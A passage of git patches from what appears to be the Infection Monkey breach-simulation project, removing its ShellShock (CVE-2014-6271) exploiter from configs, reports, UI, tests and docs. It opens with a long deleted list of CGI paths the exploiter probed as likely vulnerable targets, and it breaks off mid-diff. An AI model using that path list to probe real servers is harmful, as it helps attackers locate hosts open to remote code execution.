r"/cgi-bin/14all.cgi", - r"/cgi-bin/a1disp3.cgi", - r"/cgi-bin/a1stats/a1disp3.cgi", - r"/cgi-bin/a1stats/a1disp4.cgi", - r"/cgi-bin/addbanner.cgi", - r"/cgi-bin/add_ftp.cgi", - r"/cgi-bin/adduser.cgi", - r"/cgi-bin/admin/admin.cgi", - r"/cgi-bin/admin.cgi", - r"/cgi-bin/admin/getparam.cgi", - r"/cgi-bin/adminhot.cgi", - r"/cgi-bin/admin.pl", - r"/cgi-bin/admin/setup.cgi", - r"/cgi-bin/adminwww.cgi", - r"/cgi-bin/af.cgi", - r"/cgi-bin/aglimpse.cgi", - r"/cgi-bin/alienform.cgi", - r"/cgi-bin/AnyBoard.cgi", - r"/cgi-bin/architext_query.cgi", - r"/cgi-bin/astrocam.cgi", - r"/cgi-bin/AT-admin.cgi", - r"/cgi-bin/AT-generate.cgi", - r"/cgi-bin/auction/auction.cgi", - r"/cgi-bin/auktion.cgi", - r"/cgi-bin/ax-admin.cgi", - r"/cgi-bin/ax.cgi", - r"/cgi-bin/axs.cgi", - r"/cgi-bin/badmin.cgi", - r"/cgi-bin/banner.cgi", - r"/cgi-bin/bannereditor.cgi", - r"/cgi-bin/bb-ack.sh", - r"/cgi-bin/bb-histlog.sh", - r"/cgi-bin/bb-hist.sh", - r"/cgi-bin/bb-hostsvc.sh", - r"/cgi-bin/bb-replog.sh", - r"/cgi-bin/bb-rep.sh", - r"/cgi-bin/bbs_forum.cgi", - r"/cgi-bin/bigconf.cgi", - r"/cgi-bin/bizdb1-search.cgi", - r"/cgi-bin/blog/mt-check.cgi", - r"/cgi-bin/blog/mt-load.cgi", - r"/cgi-bin/bnbform.cgi", - r"/cgi-bin/book.cgi", - r"/cgi-bin/boozt/admin/index.cgi", - r"/cgi-bin/bsguest.cgi", - r"/cgi-bin/bslist.cgi", - r"/cgi-bin/build.cgi", - r"/cgi-bin/bulk/bulk.cgi", - r"/cgi-bin/cached_feed.cgi", - r"/cgi-bin/cachemgr.cgi", - r"/cgi-bin/calendar/index.cgi", - r"/cgi-bin/cartmanager.cgi", - r"/cgi-bin/cbmc/forums.cgi", - r"/cgi-bin/ccvsblame.cgi", - r"/cgi-bin/c_download.cgi", - r"/cgi-bin/cgforum.cgi", - r"/cgi-bin/.cgi", - r"/cgi-bin/cgi_process", - r"/cgi-bin/classified.cgi", - r"/cgi-bin/classifieds.cgi", - r"/cgi-bin/classifieds/classifieds.cgi", - r"/cgi-bin/classifieds/index.cgi", - r"/cgi-bin/.cobalt/alert/service.cgi", - r"/cgi-bin/.cobalt/message/message.cgi", - r"/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi", - r"/cgi-bin/commandit.cgi", - r"/cgi-bin/commerce.cgi", - r"/cgi-bin/common/listrec.pl", - r"/cgi-bin/compatible.cgi", - r"/cgi-bin/Count.cgi", - r"/cgi-bin/csChatRBox.cgi", - r"/cgi-bin/csGuestBook.cgi", - r"/cgi-bin/csLiveSupport.cgi", - r"/cgi-bin/CSMailto.cgi", - r"/cgi-bin/CSMailto/CSMailto.cgi", - r"/cgi-bin/csNews.cgi", - r"/cgi-bin/csNewsPro.cgi", - r"/cgi-bin/csPassword.cgi", - r"/cgi-bin/csPassword/csPassword.cgi", - r"/cgi-bin/csSearch.cgi", - r"/cgi-bin/csv_db.cgi", - r"/cgi-bin/cvsblame.cgi", - r"/cgi-bin/cvslog.cgi", - r"/cgi-bin/cvsquery.cgi", - r"/cgi-bin/cvsqueryform.cgi", - r"/cgi-bin/day5datacopier.cgi", - r"/cgi-bin/day5datanotifier.cgi", - r"/cgi-bin/db_manager.cgi", - r"/cgi-bin/dbman/db.cgi", - r"/cgi-bin/dcforum.cgi", - r"/cgi-bin/dcshop.cgi", - r"/cgi-bin/dfire.cgi", - r"/cgi-bin/diagnose.cgi", - r"/cgi-bin/dig.cgi", - r"/cgi-bin/directorypro.cgi", - r"/cgi-bin/download.cgi", - r"/cgi-bin/e87_Ba79yo87.cgi", - r"/cgi-bin/emu/html/emumail.cgi", - r"/cgi-bin/emumail.cgi", - r"/cgi-bin/emumail/emumail.cgi", - r"/cgi-bin/enter.cgi", - r"/cgi-bin/environ.cgi", - r"/cgi-bin/ezadmin.cgi", - r"/cgi-bin/ezboard.cgi", - r"/cgi-bin/ezman.cgi", - r"/cgi-bin/ezshopper2/loadpage.cgi", - r"/cgi-bin/ezshopper3/loadpage.cgi", - r"/cgi-bin/ezshopper/loadpage.cgi", - r"/cgi-bin/ezshopper/search.cgi", - r"/cgi-bin/faqmanager.cgi", - r"/cgi-bin/FileSeek2.cgi", - r"/cgi-bin/FileSeek.cgi", - r"/cgi-bin/finger.cgi", - r"/cgi-bin/flexform.cgi", - r"/cgi-bin/fom.cgi", - r"/cgi-bin/fom/fom.cgi", - r"/cgi-bin/FormHandler.cgi", - r"/cgi-bin/FormMail.cgi", - r"/cgi-bin/gbadmin.cgi", - r"/cgi-bin/gbook/gbook.cgi", - r"/cgi-bin/generate.cgi", - r"/cgi-bin/getdoc.cgi", - r"/cgi-bin/gH.cgi", - r"/cgi-bin/gm-authors.cgi", - r"/cgi-bin/gm.cgi", - r"/cgi-bin/gm-cplog.cgi", - r"/cgi-bin/guestbook.cgi", - r"/cgi-bin/handler", - r"/cgi-bin/handler.cgi", - r"/cgi-bin/handler/netsonar", - r"/cgi-bin/hitview.cgi", - r"/cgi-bin/hsx.cgi", - r"/cgi-bin/html2chtml.cgi", - r"/cgi-bin/html2wml.cgi", - r"/cgi-bin/htsearch.cgi", - r"/cgi-bin/hw.sh", # testing - r"/cgi-bin/icat", - r"/cgi-bin/if/admin/nph-build.cgi", - r"/cgi-bin/ikonboard/help.cgi", - r"/cgi-bin/ImageFolio/admin/admin.cgi", - r"/cgi-bin/imageFolio.cgi", - r"/cgi-bin/index.cgi", - r"/cgi-bin/infosrch.cgi", - r"/cgi-bin/jammail.pl", - r"/cgi-bin/journal.cgi", - r"/cgi-bin/lastlines.cgi", - r"/cgi-bin/loadpage.cgi", - r"/cgi-bin/login.cgi", - r"/cgi-bin/logit.cgi", - r"/cgi-bin/log-reader.cgi", - r"/cgi-bin/lookwho.cgi", - r"/cgi-bin/lwgate.cgi", - r"/cgi-bin/MachineInfo", - r"/cgi-bin/MachineInfo", - r"/cgi-bin/magiccard.cgi", - r"/cgi-bin/mail/emumail.cgi", - r"/cgi-bin/maillist.cgi", - r"/cgi-bin/mailnews.cgi", - r"/cgi-bin/mail/nph-mr.cgi", - r"/cgi-bin/main.cgi", - r"/cgi-bin/main_menu.pl", - r"/cgi-bin/man.sh", - r"/cgi-bin/mini_logger.cgi", - r"/cgi-bin/mmstdod.cgi", - r"/cgi-bin/moin.cgi", - r"/cgi-bin/mojo/mojo.cgi", - r"/cgi-bin/mrtg.cgi", - r"/cgi-bin/mt.cgi", - r"/cgi-bin/mt/mt.cgi", - r"/cgi-bin/mt/mt-check.cgi", - r"/cgi-bin/mt/mt-load.cgi", - r"/cgi-bin/mt-static/mt-check.cgi", - r"/cgi-bin/mt-static/mt-load.cgi", - r"/cgi-bin/musicqueue.cgi", - r"/cgi-bin/myguestbook.cgi", - r"/cgi-bin/.namazu.cgi", - r"/cgi-bin/nbmember.cgi", - r"/cgi-bin/netauth.cgi", - r"/cgi-bin/netpad.cgi", - r"/cgi-bin/newsdesk.cgi", - r"/cgi-bin/nlog-smb.cgi", - r"/cgi-bin/nph-emumail.cgi", - r"/cgi-bin/nph-exploitscanget.cgi", - r"/cgi-bin/nph-publish.cgi", - r"/cgi-bin/nph-test.cgi", - r"/cgi-bin/pagelog.cgi", - r"/cgi-bin/pbcgi.cgi", - r"/cgi-bin/perlshop.cgi", - r"/cgi-bin/pfdispaly.cgi", - r"/cgi-bin/pfdisplay.cgi", - r"/cgi-bin/phf.cgi", - r"/cgi-bin/photo/manage.cgi", - r"/cgi-bin/photo/protected/manage.cgi", - r"/cgi-bin/php-cgi", - r"/cgi-bin/php.cgi", - r"/cgi-bin/php.fcgi", - r"/cgi-bin/ping.sh", - r"/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi", - r"/cgi-bin/pollssi.cgi", - r"/cgi-bin/postcards.cgi", - r"/cgi-bin/powerup/r.cgi", - r"/cgi-bin/printenv", - r"/cgi-bin/probecontrol.cgi", - r"/cgi-bin/profile.cgi", - r"/cgi-bin/publisher/search.cgi", - r"/cgi-bin/quickstore.cgi", - r"/cgi-bin/quizme.cgi", - r"/cgi-bin/ratlog.cgi", - r"/cgi-bin/r.cgi", - r"/cgi-bin/register.cgi", - r"/cgi-bin/replicator/webpage.cgi/", - r"/cgi-bin/responder.cgi", - r"/cgi-bin/robadmin.cgi", - r"/cgi-bin/robpoll.cgi", - r"/cgi-bin/rtpd.cgi", - r"/cgi-bin/sbcgi/sitebuilder.cgi", - r"/cgi-bin/scoadminreg.cgi", - r"/cgi-bin-sdb/printenv", - r"/cgi-bin/sdbsearch.cgi", - r"/cgi-bin/search", - r"/cgi-bin/search.cgi", - r"/cgi-bin/search/search.cgi", - r"/cgi-bin/sendform.cgi", - r"/cgi-bin/shop.cgi", - r"/cgi-bin/shopper.cgi", - r"/cgi-bin/shopplus.cgi", - r"/cgi-bin/showcheckins.cgi", - r"/cgi-bin/simplestguest.cgi", - r"/cgi-bin/simplestmail.cgi", - r"/cgi-bin/smartsearch.cgi", - r"/cgi-bin/smartsearch/smartsearch.cgi", - r"/cgi-bin/snorkerz.bat", - r"/cgi-bin/snorkerz.bat", - r"/cgi-bin/snorkerz.cmd", - r"/cgi-bin/snorkerz.cmd", - r"/cgi-bin/sojourn.cgi", - r"/cgi-bin/spin_client.cgi", - r"/cgi-bin/start.cgi", - r"/cgi-bin/status", - r"/cgi-bin/status_cgi", - r"/cgi-bin/store/agora.cgi", - r"/cgi-bin/store.cgi", - r"/cgi-bin/store/index.cgi", - r"/cgi-bin/survey.cgi", - r"/cgi-bin/sync.cgi", - r"/cgi-bin/talkback.cgi", - r"/cgi-bin/technote/main.cgi", - r"/cgi-bin/test2.pl", - r"/cgi-bin/test-cgi", - r"/cgi-bin/test.cgi", - r"/cgi-bin/testing_whatever", - r"/cgi-bin/test/test.cgi", - r"/cgi-bin/tidfinder.cgi", - r"/cgi-bin/tigvote.cgi", - r"/cgi-bin/title.cgi", - r"/cgi-bin/top.cgi", - r"/cgi-bin/traffic.cgi", - r"/cgi-bin/troops.cgi", - r"/cgi-bin/ttawebtop.cgi/", - r"/cgi-bin/ultraboard.cgi", - r"/cgi-bin/upload.cgi", - r"/cgi-bin/urlcount.cgi", - r"/cgi-bin/viewcvs.cgi", - r"/cgi-bin/view_help.cgi", - r"/cgi-bin/viralator.cgi", - r"/cgi-bin/virgil.cgi", - r"/cgi-bin/vote.cgi", - r"/cgi-bin/vpasswd.cgi", - r"/cgi-bin/way-board.cgi", - r"/cgi-bin/way-board/way-board.cgi", - r"/cgi-bin/webbbs.cgi", - r"/cgi-bin/webcart/webcart.cgi", - r"/cgi-bin/webdist.cgi", - r"/cgi-bin/webif.cgi", - r"/cgi-bin/webmail/html/emumail.cgi", - r"/cgi-bin/webmap.cgi", - r"/cgi-bin/webspirs.cgi", - r"/cgi-bin/Web_Store/web_store.cgi", - r"/cgi-bin/whois.cgi", - r"/cgi-bin/whois_raw.cgi", - r"/cgi-bin/whois/whois.cgi", - r"/cgi-bin/wrap", - r"/cgi-bin/wrap.cgi", - r"/cgi-bin/wwwboard.cgi.cgi", - r"/cgi-bin/YaBB/YaBB.cgi", - r"/cgi-bin/zml.cgi", - r"/cgi-mod/index.cgi", - r"/cgis/wwwboard/wwwboard.cgi", - r"/cgi-sys/addalink.cgi", - r"/cgi-sys/defaultwebpage.cgi", - r"/cgi-sys/domainredirect.cgi", - r"/cgi-sys/entropybanner.cgi", - r"/cgi-sys/entropysearch.cgi", - r"/cgi-sys/FormMail-clone.cgi", - r"/cgi-sys/helpdesk.cgi", - r"/cgi-sys/mchat.cgi", - r"/cgi-sys/randhtml.cgi", - r"/cgi-sys/realhelpdesk.cgi", - r"/cgi-sys/realsignup.cgi", - r"/cgi-sys/signup.cgi", - r"/connector.cgi", - r"/cp/rac/nsManager.cgi", - r"/create_release.sh", - r"/CSNews.cgi", - r"/csPassword.cgi", - r"/dcadmin.cgi", - r"/dcboard.cgi", - r"/dcforum.cgi", - r"/dcforum/dcforum.cgi", - r"/debuff.cgi", - r"/debug.cgi", - r"/details.cgi", - r"/edittag/edittag.cgi", - r"/emumail.cgi", - r"/enter_buff.cgi", - r"/enter_bug.cgi", - r"/ez2000/ezadmin.cgi", - r"/ez2000/ezboard.cgi", - r"/ez2000/ezman.cgi", - r"/fcgi-bin/echo", - r"/fcgi-bin/echo", - r"/fcgi-bin/echo2", - r"/fcgi-bin/echo2", - r"/Gozila.cgi", - r"/hitmatic/analyse.cgi", - r"/hp_docs/cgi-bin/index.cgi", - r"/html/cgi-bin/cgicso", - r"/html/cgi-bin/cgicso", - r"/index.cgi", - r"/info.cgi", - r"/infosrch.cgi", - r"/login.cgi", - r"/mailview.cgi", - r"/main.cgi", - r"/megabook/admin.cgi", - r"/ministats/admin.cgi", - r"/mods/apage/apage.cgi", - r"/_mt/mt.cgi", - r"/musicqueue.cgi", - r"/ncbook.cgi", - r"/newpro.cgi", - r"/newsletter.sh", - r"/oem_webstage/cgi-bin/oemapp_cgi", - r"/page.cgi", - r"/parse_xml.cgi", - r"/photodata/manage.cgi", - r"/photo/manage.cgi", - r"/print.cgi", - r"/process_buff.cgi", - r"/process_bug.cgi", - r"/pub/english.cgi", - r"/quikmail/nph-emumail.cgi", - r"/quikstore.cgi", - r"/reviews/newpro.cgi", - r"/ROADS/cgi-bin/search.pl", - r"/sample01.cgi", - r"/sample02.cgi", - r"/sample03.cgi", - r"/sample04.cgi", - r"/sampleposteddata.cgi", - r"/scancfg.cgi", - r"/scancfg.cgi", - r"/servers/link.cgi", - r"/setpasswd.cgi", - r"/SetSecurity.shm", - r"/shop/member_html.cgi", - r"/shop/normal_html.cgi", - r"/site_searcher.cgi", - r"/siteUserMod.cgi", - r"/submit.cgi", - r"/technote/print.cgi", - r"/template.cgi", - r"/test.cgi", - r"/ucsm/isSamInstalled.cgi", - r"/upload.cgi", - r"/userreg.cgi", - r"/users/scripts/submit.cgi", - r"/vood/cgi-bin/vood_view.cgi", - r"/Web_Store/web_store.cgi", - r"/webtools/bonsai/ccvsblame.cgi", - r"/webtools/bonsai/cvsblame.cgi", - r"/webtools/bonsai/cvslog.cgi", - r"/webtools/bonsai/cvsquery.cgi", - r"/webtools/bonsai/cvsqueryform.cgi", - r"/webtools/bonsai/showcheckins.cgi", - r"/wwwadmin.cgi", - r"/wwwboard.cgi", - r"/wwwboard/wwwboard.cgi", -) From 60d16ea4d66b067db0b6b8cb67be67bbf0ed4dab Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 13:27:59 +0100 Subject: [PATCH 0513/1110] Island: Remove ShellShock Exploiter --- .../cc/services/config_schema/basic.py | 1 - .../definitions/exploiter_classes.py | 10 ------- .../cc/services/reporting/aws_exporter.py | 18 ----------- .../exploiter_descriptor_enum.py | 6 ---- .../processors/shellshock_exploit.py | 15 ---------- .../report-components/SecurityReport.js | 6 ---- .../security/issues/ShellShockIssue.js | 30 ------------------- 7 files changed, 86 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 9151ff259..0f841e968 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -18,7 +18,6 @@ BASIC = { "WmiExploiter", "SSHExploiter", "Log4ShellExploiter", - "ShellShockExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index f21bc942d..e9a5ac5ea 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -53,16 +53,6 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/sshexec/", }, - { - "type": "string", - "enum": ["ShellShockExploiter"], - "title": "ShellShock Exploiter", - "safe": True, - "info": "CVE-2014-6271, based on logic from " - "https://github.com/nccgroup/shocker/blob/master/shocker.py .", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/shellshock/", - }, { "type": "string", "enum": ["ElasticGroovyExploiter"], diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 927685560..00d738b07 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -68,7 +68,6 @@ class AWSExporter(Exporter): CredentialType.PASSWORD.value: AWSExporter._handle_ssh_issue, CredentialType.KEY.value: AWSExporter._handle_ssh_key_issue, }, - ExploiterDescriptorEnum.SHELLSHOCK.value.class_name: AWSExporter._handle_shellshock_issue, # noqa:E501 "tunnel": AWSExporter._handle_tunnel_issue, ExploiterDescriptorEnum.ELASTIC.value.class_name: AWSExporter._handle_elastic_issue, ExploiterDescriptorEnum.SMB.value.class_name: { @@ -295,23 +294,6 @@ class AWSExporter(Exporter): instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) - @staticmethod - def _handle_shellshock_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=10, - title="Machines are vulnerable to 'Shellshock'", - description="Update your Bash to a ShellShock-patched version.", - recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on " - "TCP port {2} was vulnerable to a " - "shell injection attack on the paths: {3}.".format( - issue["machine"], issue["ip_address"], issue["port"], issue["paths"] - ), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, - ) - @staticmethod def _handle_smb_password_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 1555b4b61..91855329e 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -11,9 +11,6 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.pro from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.log4shell import ( # noqa: E501 Log4ShellProcessor, ) -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501 - ShellShockExploitProcessor, -) from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( # noqa: E501 ZerologonExploitProcessor, ) @@ -34,9 +31,6 @@ class ExploiterDescriptorEnum(Enum): ELASTIC = ExploiterDescriptor( "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor ) - SHELLSHOCK = ExploiterDescriptor( - "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor - ) STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor) WEBLOGIC = ExploiterDescriptor( "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py deleted file mode 100644 index bd047fbf5..000000000 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/shellshock_exploit.py +++ /dev/null @@ -1,15 +0,0 @@ -from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 - ExploiterReportInfo, - ExploitProcessor, -) - - -class ShellShockExploitProcessor: - @staticmethod - def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: - exploit_info = ExploitProcessor.get_exploit_info_by_dict(class_name, exploit_dict) - - urls = exploit_dict["data"]["info"]["vulnerable_urls"] - exploit_info.port = urls[0].split(":")[2].split("/")[0] - exploit_info.paths = ["/" + url.split(":")[2].split("/")[1] for url in urls] - return exploit_info diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 270db721a..a923d01f2 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -28,7 +28,6 @@ import {drupalIssueOverview, drupalIssueReport} from './security/issues/DrupalIs import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue'; import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue'; import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; -import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue'; import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue'; import { crossSegmentIssueOverview, @@ -125,11 +124,6 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: elasticIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'ShellShockExploiter': { - [this.issueContentTypes.OVERVIEW]: shellShockIssueOverview, - [this.issueContentTypes.REPORT]: shellShockIssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'PowerShellExploiter': { [this.issueContentTypes.OVERVIEW]: powershellIssueOverview, [this.issueContentTypes.REPORT]: powershellIssueReport, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js deleted file mode 100644 index b2496fb21..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ShellShockIssue.js +++ /dev/null @@ -1,30 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function shellShockIssueOverview() { - return (
  • Machines are vulnerable to ‘Shellshock’ (CVE-2014-6271). -
  • ) -} - - -function getShellshockPathListBadges(paths) { - return paths.map(path => {path}); -} - -export function shellShockIssueReport(issue) { - return ( - <> - Update your Bash to a ShellShock-patched version. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to a ShellShock attack. -
    - The attack was made possible because the HTTP server running on TCP port {issue.port} was vulnerable to a shell injection attack on the - paths: {getShellshockPathListBadges(issue.paths)}. -
    - - ); -} From 291755e5c9eb66605f2294d09b096438530bbee6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 13:29:33 +0100 Subject: [PATCH 0514/1110] UT: Remove ShellShock from tests config --- monkey/tests/data_for_tests/monkey_configs/flat_config.json | 1 - .../data_for_tests/monkey_configs/monkey_config_standard.json | 1 - monkey/tests/unit_tests/monkey_island/cc/services/test_config.py | 1 - 3 files changed, 3 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 4fdc49340..b4ec2c46c 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -52,7 +52,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "ShellShockExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", "ZerologonExploiter", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 8080b27cf..33944c305 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -5,7 +5,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "ShellShockExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 9bc86bb7f..58e762036 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -187,7 +187,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): {"name": "DrupalExploiter", "options": {}}, {"name": "ElasticGroovyExploiter", "options": {}}, {"name": "HadoopExploiter", "options": {}}, - {"name": "ShellShockExploiter", "options": {}}, {"name": "Struts2Exploiter", "options": {}}, {"name": "WebLogicExploiter", "options": {}}, {"name": "ZerologonExploiter", "options": {}}, From fe3b26339835fb4da32d3cf452643cf3aad35434 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 13:30:01 +0100 Subject: [PATCH 0515/1110] Docs: Remove ShellShock documentation --- docs/content/development/_index.md | 2 +- docs/content/reference/exploiters/shellshock.md | 11 ----------- 2 files changed, 1 insertion(+), 12 deletions(-) delete mode 100644 docs/content/reference/exploiters/shellshock.md diff --git a/docs/content/development/_index.md b/docs/content/development/_index.md index 37a5978e7..85b15adcb 100644 --- a/docs/content/development/_index.md +++ b/docs/content/development/_index.md @@ -26,7 +26,7 @@ You can take a look at [our roadmap](https://github.com/guardicore/monkey/projec The best way to find weak spots in a network is by attacking it. The [*Adding Exploits*](./adding-exploits/) page will help you add exploits. -It's important to note that the Infection Monkey must be absolutely reliable. Otherwise, no one will use it, so avoid memory corruption exploits unless they're rock solid and focus on the logical vulns such as Shellshock. +It's important to note that the Infection Monkey must be absolutely reliable. Otherwise, no one will use it, so avoid memory corruption exploits unless they're rock solid and focus on the logical vulns such as Hadoop. ### Analysis plugins 🔬 diff --git a/docs/content/reference/exploiters/shellshock.md b/docs/content/reference/exploiters/shellshock.md deleted file mode 100644 index 20aee282f..000000000 --- a/docs/content/reference/exploiters/shellshock.md +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: "ShellShock" -date: 2020-07-14T08:41:32+03:00 -draft: false -tags: ["exploit", "linux"] ---- -### Description - -This exploit, CVE-2014-6271, is based on the [logic in NCC group's GitHub](https://github.com/nccgroup/shocker/blob/master/shocker.py). - -> In GNU Bash (through 4.3), processes trailing strings after function definitions in the values of environment variables allow remote attackers to execute arbitrary code via a crafted environment. This is demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients and other situations in which setting the environment occurs across a privilege boundary from Bash execution, AKA "ShellShock." From ddc77e6d6a1e6e33d791df77389f6f370ebb7bf7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 13:30:46 +0100 Subject: [PATCH 0516/1110] Zoo: Remove ShellShock Exploiter --- .../blackbox/config_templates/performance.py | 1 - .../blackbox/config_templates/shellshock.py | 17 ---------- .../blackbox/gcp_test_machine_list.py | 1 - envs/monkey_zoo/blackbox/test_blackbox.py | 4 --- .../utils/config_generation_script.py | 2 -- envs/monkey_zoo/docs/fullDocs.md | 33 ------------------- envs/monkey_zoo/terraform/images.tf | 5 --- envs/monkey_zoo/terraform/monkey_zoo.tf | 15 --------- 8 files changed, 78 deletions(-) delete mode 100644 envs/monkey_zoo/blackbox/config_templates/shellshock.py diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py index eafa82d28..6108664a7 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -16,7 +16,6 @@ class Performance(ConfigTemplate): "SmbExploiter", "WmiExploiter", "SSHExploiter", - "ShellShockExploiter", "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", diff --git a/envs/monkey_zoo/blackbox/config_templates/shellshock.py b/envs/monkey_zoo/blackbox/config_templates/shellshock.py deleted file mode 100644 index b3620e5b9..000000000 --- a/envs/monkey_zoo/blackbox/config_templates/shellshock.py +++ /dev/null @@ -1,17 +0,0 @@ -from copy import copy - -from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate - - -class ShellShock(ConfigTemplate): - config_values = copy(BaseTemplate.config_values) - - config_values.update( - { - "basic.exploiters.exploiter_classes": ["ShellShockExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.8"], - "internal.network.tcp_scanner.HTTP_PORTS": [80, 8080], - "internal.network.tcp_scanner.tcp_target_ports": [], - } - ) diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index a4dc02447..eadbd6213 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -17,7 +17,6 @@ GCP_TEST_MACHINE_LIST = { "tunneling-12", "weblogic-18", "weblogic-19", - "shellshock-8", "zerologon-25", "drupal-28", ], diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index e6e64d3cc..2db234ed2 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ 